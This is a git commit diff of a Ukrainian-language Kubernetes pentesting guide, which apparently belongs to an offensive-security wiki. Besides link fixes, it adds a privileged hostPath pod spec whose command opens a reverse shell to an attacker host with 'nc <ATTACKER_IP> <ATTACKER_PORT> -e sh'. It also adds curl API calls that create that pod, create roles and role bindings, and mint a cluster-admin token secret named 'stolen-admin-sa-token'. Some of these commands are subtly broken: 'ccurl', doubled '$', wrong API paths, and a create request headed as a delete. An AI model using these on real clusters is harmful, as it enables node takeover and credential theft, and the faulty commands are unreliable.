Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-enumera

This commit is contained in:
Translator
2025-01-22 09:51:34 +00:00
parent 4a0477b5f2
commit e99f56f393
2 changed files with 231 additions and 21 deletions

View File

@@ -451,8 +451,8 @@
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-post-exploitation.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-post-exploitation.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
@@ -462,16 +462,16 @@
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md)
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md)
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md)
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md)
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md)
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md)
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md)
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)

View File

@@ -14,9 +14,9 @@
Перед тим, як продовжити, якщо ви не знаєте, що таке сервіс у Kubernetes, я б порадив вам **перейти за цим посиланням і прочитати принаймні інформацію про архітектуру Kubernetes.**
Витягнуто з [документації](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
Витягнуто з [документації Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
_“Коли ви створюєте под, якщо ви не вказуєте обліковий запис служби, він автоматично призначається_ за замовчуванням _обліковому запису служби в тій же області.”_
_“Коли ви створюєте под, якщо ви не вказуєте обліковий запис служби, йому автоматично призначається_ обліковий запис служби _за замовчуванням у тій же області.”_
**ServiceAccount** - це об'єкт, яким керує Kubernetes і який використовується для надання ідентичності для процесів, що виконуються в поді.\
Кожен обліковий запис служби має секрет, пов'язаний з ним, і цей секрет містить токен доступу. Це JSON Web Token (JWT), метод для безпечного представлення вимог між двома сторонами.
@@ -47,7 +47,7 @@ _“Коли ви створюєте под, якщо ви не вказуєте
### Hot Pods
_**Гарячі поди**_ - це поди, що містять привілейований токен облікового запису служби. Привілейований токен облікового запису служби - це токен, який має дозвіл на виконання привілейованих завдань, таких як перерахування секретів, створення подів тощо.
_**Гарячі поди**_ - це поди, що містять токен облікового запису служби з привілегіями. Токен облікового запису служби з привілегіями - це токен, який має дозвіл на виконання привілейованих завдань, таких як перерахування секретів, створення подів тощо.
## RBAC
@@ -55,12 +55,12 @@ _**Гарячі поди**_ - це поди, що містять привіле
## GUI Applications
- **k9s**: GUI, який перераховує кластер kubernetes з терміналу. Перевірте команди в [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Напишіть `:namespace` і виберіть всі, щоб потім шукати ресурси у всіх просторах імен.
- **k9s**: GUI, який перераховує кластер kubernetes з терміналу. Перевірте команди в [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Напишіть `:namespace` і виберіть всі, щоб потім шукати ресурси в усіх просторах імен.
- **k8slens**: Пропонує кілька безкоштовних днів пробного періоду: [https://k8slens.dev/](https://k8slens.dev/)
## Enumeration CheatSheet
Щоб перерахувати середовище K8s, вам потрібно кілька з цього:
Щоб перерахувати середовище K8, вам потрібно кілька з цього:
- **дійсний токен аутентифікації**. У попередньому розділі ми бачили, де шукати токен користувача та токен облікового запису служби.
- **адреса (**_**https://host:port**_**) API Kubernetes**. Це зазвичай можна знайти у змінних середовища та/або у файлі конфігурації kube.
@@ -68,7 +68,7 @@ _**Гарячі поди**_ - це поди, що містять привіле
З цими деталями ви можете **перерахувати kubernetes**. Якщо **API** з якоїсь причини **доступний** через **Інтернет**, ви можете просто завантажити цю інформацію та перерахувати платформу з вашого хоста.
Однак зазвичай **API сервер знаходиться всередині внутрішньої мережі**, тому вам потрібно буде **створити тунель** через скомпрометовану машину, щоб отримати доступ до нього з вашої машини, або ви можете **завантажити** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) бінарний файл або використовувати **`curl/wget/anything`** для виконання сирих HTTP запитів до API сервера.
Однак зазвичай **API сервер знаходиться всередині внутрішньої мережі**, тому вам потрібно буде **створити тунель** через скомпрометовану машину, щоб отримати доступ до нього з вашої машини, або ви можете **завантажити** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) бінарний файл, або використовувати **`curl/wget/anything`** для виконання сирих HTTP запитів до API сервера.
### Differences between `list` and `get` verbs
@@ -83,7 +83,7 @@ GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
```
Якщо у вас є **`watch`** дозвіл, вам дозволено виконувати API запити для моніторингу активів:
Якщо у вас є **`watch`** дозвіл, ви маєте право виконувати API запити для моніторингу активів:
```
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
@@ -109,13 +109,13 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> За замовчуванням под може **доступатися** до **kube-api сервера** за доменним ім'ям **`kubernetes.default.svc`** і ви можете побачити kube мережу в **`/etc/resolv.config`**, оскільки тут ви знайдете адресу DNS сервера kubernetes (".1" того ж діапазону є кінцевою точкою kube-api).
> За замовчуванням под може **доступатися** до **kube-api сервера** в доменному імені **`kubernetes.default.svc`** і ви можете побачити kube мережу в **`/etc/resolv.config`**, оскільки тут ви знайдете адресу DNS сервера kubernetes (".1" того ж діапазону є кінцевою точкою kube-api).
### Використання kubectl
Маючи токен і адресу API сервера, ви використовуєте kubectl або curl для доступу до нього, як вказано тут:
За замовчуванням, APISERVER спілкується за схемою `https://`
За замовчуванням, APISERVER спілкується з схемою `https://`
```bash
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
```
@@ -199,7 +199,7 @@ kurl -i -s -k -X $'POST' \
Інший спосіб перевірити свої привілеї - це використання інструменту: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
Ви можете дізнатися більше про **Kubernetes RBAC** у:
Ви можете дізнатися більше про **Kubernetes RBAC** в:
{{#ref}}
kubernetes-role-based-access-control-rbac.md
@@ -211,7 +211,7 @@ kubernetes-role-based-access-control-rbac.md
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### Отримати інші ролі
### Отримати ролі інших
{{#tabs }}
{{#tab name="kubectl" }}
@@ -383,7 +383,7 @@ kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
### Отримати cronjob
Cron jobs дозволяють запланувати запуск поду, який виконає певну дію, використовуючи синтаксис, подібний до crontab.
Cron jobs дозволяють запланувати запуск пода, який виконає певну дію, використовуючи синтаксис, подібний до crontab.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -459,9 +459,13 @@ k top pod --all-namespaces
{{#endtab }}
{{#endtabs }}
## Взаємодія з кластером без використання kubectl
Оскільки контрольна площина Kubernetes відкриває REST-ful API, ви можете вручну створювати HTTP-запити та надсилати їх за допомогою інших інструментів, таких як **curl** або **wget**.
### Вихід з пода
Якщо ви можете створювати нові поди, ви можете вийти з них на вузол. Для цього потрібно створити новий под, використовуючи yaml файл, перейти до створеного пода, а потім chroot у систему вузла. Ви можете використовувати вже існуючі поди як посилання для yaml файлу, оскільки вони відображають існуючі образи та шляхи.
Якщо ви можете створювати нові поди, ви можете вийти з них на вузол. Для цього вам потрібно створити новий под, використовуючи yaml файл, перейти до створеного пода, а потім chroot у систему вузла. Ви можете використовувати вже існуючі поди як посилання для yaml файлу, оскільки вони відображають існуючі образи та шляхи.
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
@@ -501,7 +505,7 @@ restartPolicy: Never
# or using
# node-role.kubernetes.io/master: ""
```
Після цього ви створюєте под.
Після цього ви створюєте под
```bash
kubectl apply -f attacker.yaml [-n <namespace>]
```
@@ -515,6 +519,212 @@ chroot /root /bin/bash
```
Інформація отримана з: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
### Створення привілейованого пода
Відповідний yaml файл виглядає наступним чином:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
```
Створіть под за допомогою curl:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Видалити под
Видалити под за допомогою curl:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
```
### Створити обліковий запис служби
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Видалити обліковий запис служби
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
```
### Створити роль
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Видалити роль
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
```
### Створити прив'язку ролі
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Видалити зв'язок ролі
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
```
### Видалити секрет
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Видалити секрет
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""
ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
```
## Посилання
{{#ref}}